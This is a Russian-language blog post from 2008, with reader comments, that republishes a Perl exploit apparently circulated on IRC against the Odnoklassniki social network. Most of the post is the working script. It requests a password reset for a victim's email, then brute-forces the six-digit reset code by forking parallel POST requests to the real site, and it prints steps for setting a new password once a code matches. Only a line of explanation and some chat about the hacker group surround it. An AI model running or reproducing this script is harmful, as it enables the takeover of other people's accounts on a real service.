Эксплоит для одноклассников

Сегодня обнаружил, что RST/GHC вдруг возродилась. Признаться, для меня это было открытие. Только теперь объединенная команда состоит еще из одной тимы: UKT. Кто это такие мне пока неизвестно. А вот сплоит для одноклассников теперь известен всем =) Сегодня его раздавали на IRC-канале всем желающим. Собственно вот и сплоит:

#!/usr/bin/perl 
use LWP::UserAgent; 
  
print qq( 
   ,__                    __,                        
                        / /                      
          __      _    / /                       
         .___/:::* / /                          
          |_____  |/                            
         /<>//,./      /       _________                              
        /      /      /      |  RST                  
       /      /.,<>/      |   GHC                        
                 /'  \  /   |    UKT 
        \      \  /     \     |__\xD____                          
         \      \/      /                            
       /  '''''      /                                
    / /             /                            
   / /         ___  /                            
   *__                    __* 
               [preved odnoklassne4gi] 
                  
); 
  
  
  
if (!scalar(@ARGV)) { 
    print "\[~\]Usage : ./$0 eMail {number of child procs}\n\n"; 
    exit(); 
} 
if (-e "success") { 
    print "\[-\] File \"success\" exists in your directory. Please rename it or remove.\n\n"; 
    exit();     
} 
  
my $email="$ARGV[0]"; 
  
if ($ARGV[1]) { 
    my $MAX_PROCESSES=$ARGV[1]; 
} else { 
    my $MAX_PROCESSES=5; 
} 
my $DEBUG=0; 
  
my @pids; 
my $npids=0; 
my $restore=0; 
my $e; 
  
# first step - omg! I lost my password?!?!?! 
$ua=LWP::UserAgent->new(); 
$page=$ua->post("http://odnoklassniki.ru/cdk/st.cmd/password/tkn/6544",["st.email"=>$email,"st.posted"=>"set"]); 
$page_content=$page->content(); 
if ($page_content=~/st.email/) { 
    print "\[-\] Please provide correct email address\n"; 
    exit(); 
} else { 
    print "\[+\] Repair password code send to $email\n"; 
} 
  
# step number two - bruteforce code for repair password 
print "\[~\] Brutforce code for repair password\ 
This process make take max ~ 18 hours to check all combinations\ 
You need good internet channel and fast cpu\n"; 
open(LOG_FILE,">>log"); 
$not=1; 
for ($code=100000;$code<=999999;$code++) { 
    if (-e "success") { 
        print "DONE"; 
        exit(); 
    } 
    if ($code==199999 && $not==1) { 
        $cod="099999"; 
        $not=0; 
        $code=100000; 
    } elsif ($code=~/^1(d+)$/ && $not==1) { 
        $code=~/^1(d+)$/; 
        $cod="0$1"; 
    } else { 
        $cod=$code; 
    } 
    if ($cod=~/^(d+)000$/) { 
        print "#"; 
    } 
  
    my $pid; 
    $pid=fork(); 
    if($pid>0){ 
     push(@pids,$pid); 
     $npids++; 
     if($npids>=$MAX_PROCESSES){ 
         for(1..($MAX_PROCESSES)){ 
          $wait_ret=wait(); 
          if($wait_ret>0){ 
                    $npids--; 
                } 
            } 
        } 
        next; 
    }elsif(undef $pid){ 
        print "fork error\n" if ($DEBUG); 
        exit(0); 
    } 
    $p=$ua->post("http://www.odnoklassniki.ru/dk",["st.cmd"=>"passwordReset","st.email"=>$email,"st.confirmation-code"=>$cod,"st.posted"=>"set"]); 
    $con=$p->content(); 
    if ($con=~/password.confirmation/) { 
        print "$cod cached\n"; 
        print LOG_FILE "$cod cached\n"; 
        open(SUCCESS,">>success"); 
        print SUCCESS "\n############################\n"; 
        print SUCCESS "Yahooo! Congratulations! Code for password repair is - $cod\n"; 
        print SUCCESS "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n"; 
        print SUCCESS "Type your email ($email), your repair code ($cod) and set new password for your account.\n"; 
        print SUCCESS "############################\n"; 
        print "############################\n"; 
        print "Yahooo! Congratulations! Code for password repair is - $cod\n"; 
        print "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n"; 
        print "Type your email ($email), your repair code ($cod) and set new password for your account.\n"; 
        print "############################\n"; 
        close(SUCCESS); 
    } else { 
        print LOG_FILE "$cod failed\n"; 
    } 
    exit(); 
} 
close(LOG_FILE);

Как видим, уязвимость заключается в механизме восстановления паролей. Правда эксплуатация в худшем случае может занять 18 часов, так как код для восстановления необходимо брутить (6-значное число)


3 комментария

  1. san, 26. мая 2008, 19:06

    Ну в среднем то 9, так что не страшно. Другое дело, что на самом деле больше у тех, кто не имеет быстрого соединения. А вообще перебор как-то не очень интересно 🙁 Ну слабый у них код, цифровой.

    Гораздо интереснее RST/GHC. Может, сайт поднимут на место.

     
  2. Raz0r, 27. мая 2008, 16:29

    >Гораздо интереснее RST/GHC
    в этом я с тобой полностью согласен. Правда это уже не та команда, которую мы знали в 2006 году. Вместо восстановления сайта, они создали блог на livejouranl.com и пишут о лайфхаке, сочиняют стихи, постят всякие «боянчики», в общем на прежнюю команду RST/GHC вообще не похоже =\

     
  3. san, 28. мая 2008, 19:54

    Хм, а это вообще они? Разве что rst.viod.ru на это указывает. Но все же может кто ушел, кто пришел и это уже вообще не та команда.

     

Write a comment: